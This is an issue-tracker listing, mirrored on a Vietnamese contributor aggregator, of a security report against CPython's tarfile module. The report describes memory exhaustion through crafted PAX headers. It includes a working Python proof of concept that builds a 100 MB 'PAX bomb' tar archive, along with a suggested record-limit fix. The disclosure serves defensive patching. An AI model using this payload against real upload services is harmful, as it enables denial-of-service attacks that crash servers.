[Security] Memory Exhaustion (OOM) and Resource Leak via crafted PAX Headers in tarfile
Maintainer thường phản hồi trong vòng 1 ngày
Chưa có ai nhận issue này.
Đánh giá
- Độ khó
- 3/5
- Thời gian dự kiến
- 1-2 ngày
- Mức phù hợp với người mới
- 30/100
Hướng nghiên cứu
The parsing loop is in TarInfo._proc_pax in Lib/tarfile.py, which builds the raw_headers list and then the pax_headers dict without any record limit. Read that loop, then reproduce the report with the attached PoC to confirm the memory growth. Done would mean a record or size cap that raises InvalidHeaderError, plus a test in Lib/test/test_tarfile.py. Because this is a security report, check with maintainers before opening a public PR.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Mô tả
Bug report
Description:
I have identified a critical Denial of Service (DoS) vulnerability in the tarfile module of Python 3.15.0. A crafted tar archive containing a malicious PAX extended header (XHDTYPE) can force the Python process to consume an extreme amount of memory instantly, leading to an Out Of Memory (OOM) crash. Furthermore, the memory is not released by the garbage collector after the extraction operation completes.
Vulnerability Details:
Location: tarfile.TarInfo._proc_pax
Root Cause: The _proc_pax function parses the PAX header data block in a while loop without enforcing any limit on the number of records. An attacker can craft a valid PAX header data block (e.g., 100MB) filled entirely with minimal-length valid records (e.g., b"5 a=\n" which is 5 bytes per record).
Impact: The parser will create over 20 million key-value pairs in the raw_headers list and subsequently in the pax_headers dictionary. This rapidly exhausts system memory. In real-world web applications (e.g., Django, Flask, CI/CD runners) that process user-uploaded tar files, this instantly kills the worker thread and can cause the entire host OS to trigger the OOM killer.
Resource Leak: After the extraction completes (returning HTTP 200), the huge memory allocation is not immediately reclaimed by Python's garbage collector due to the massive number of objects created, leaving the server in a zombie state consuming multi-gigabyte RSS memory indefinitely.
Proof of Concept (PoC):
This PoC simulates a backend service receiving a file upload and extracting it.
Attacker Script (Generates and sends the payload):
python
import tarfile
import io
import urllib.request
def create_pax_bomb():
# Minimal valid PAX record: "5 a=\n" (5 bytes)
record = b"5 a=\n"
target_size = 100 * 1024 * 1024 # 100 MB
num_records = target_size // len(record)
payload_data = record * num_records
tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode="w") as tar:
info = tarfile.TarInfo("././@PaxHeader")
info.type = tarfile.XHDTYPE
info.size = len(payload_data)
tar.addfile(info, io.BytesIO(payload_data))
normal_info = tarfile.TarInfo("test.txt")
normal_info.size = 0
tar.addfile(normal_info)
return tar_buffer.getvalue()
Send via HTTP POST...
Server/Extraction Script:
python
import tarfile
When the server calls this:
try:
with tarfile.open(filepath, "r:") as tar:
tar.extractall(path=EXTRACT_DIR)
print("Extraction complete.")
except Exception as e:
print(e)
Execution Result:
The server script prints Extraction complete (or HTTP 200 success).
However, observing the process memory (Task Manager / psutil) shows memory usage instantly spiking to multiple GBs.
After the extraction finishes, the memory is not released, leaving the process hanging and unresponsive.
Suggested Fix:
Add a hard limit to the number of records or the maximum size of the PAX header that tarfile is willing to process.
For example, in _proc_pax, enforce a maximum record count (e.g., MAX_PAX_RECORDS = 10000) or a maximum total size for the raw_headers list, and raise InvalidHeaderError if exceeded.
CPython versions tested on:
3.15
Operating systems tested on:
Windows
- Ngôn ngữ chính
- Python
- Star
- 78.2k
- Fork
- 36.6k
- Merge trung bình
- 19 giờ 57 phút
- Pull request đã merge (30 ngày)
- 630
Chuẩn bị môi trường
Khởi chạy dev container của dự án ngay trên trình duyệt, bằng tài khoản GitHub của bạn.
- Không có Dockerfile hay tệp Docker Compose
- Có mẫu pull request
- Đọc hướng dẫn đóng góp
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Issue khác của python/cpython
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 78/100
Maintainer thường phản hồi trong vòng 1 ngày
-
stdlib type-bug
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 75/100
Maintainer thường phản hồi trong vòng 1 ngày
-
extension-modules stdlib topic-XML type-bug
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 76/100
python/cpython#161807 · 1 bình luận ·
Maintainer thường phản hồi trong vòng 1 ngày
-
stdlib type-feature
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 78/100
python/cpython#161788 · 7 bình luận ·
Maintainer thường phản hồi trong vòng 1 ngày
-
extension-modules topic-IO type-bug
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 75/100
Maintainer thường phản hồi trong vòng 1 ngày
Tất cả issue của python/cpython
Issue tương tự
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 62/100
cpp-best-practices/project_validator#267 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 72/100
Project-N-E-K-O/N.E.K.O#3725 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
[Bug] Sending a Telegram message chain twice duplicates mentionsCó thể đã có người làm @123XieC đã nhận hôm nay. Đang mở
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 72/100
AstrBotDevs/AstrBot#11125 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
backend bug priority: high
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 72/100
nooriegarg/ContribIQ#73 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
bug p3 security
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 68/100
Maintainer thường phản hồi trong vòng 1 ngày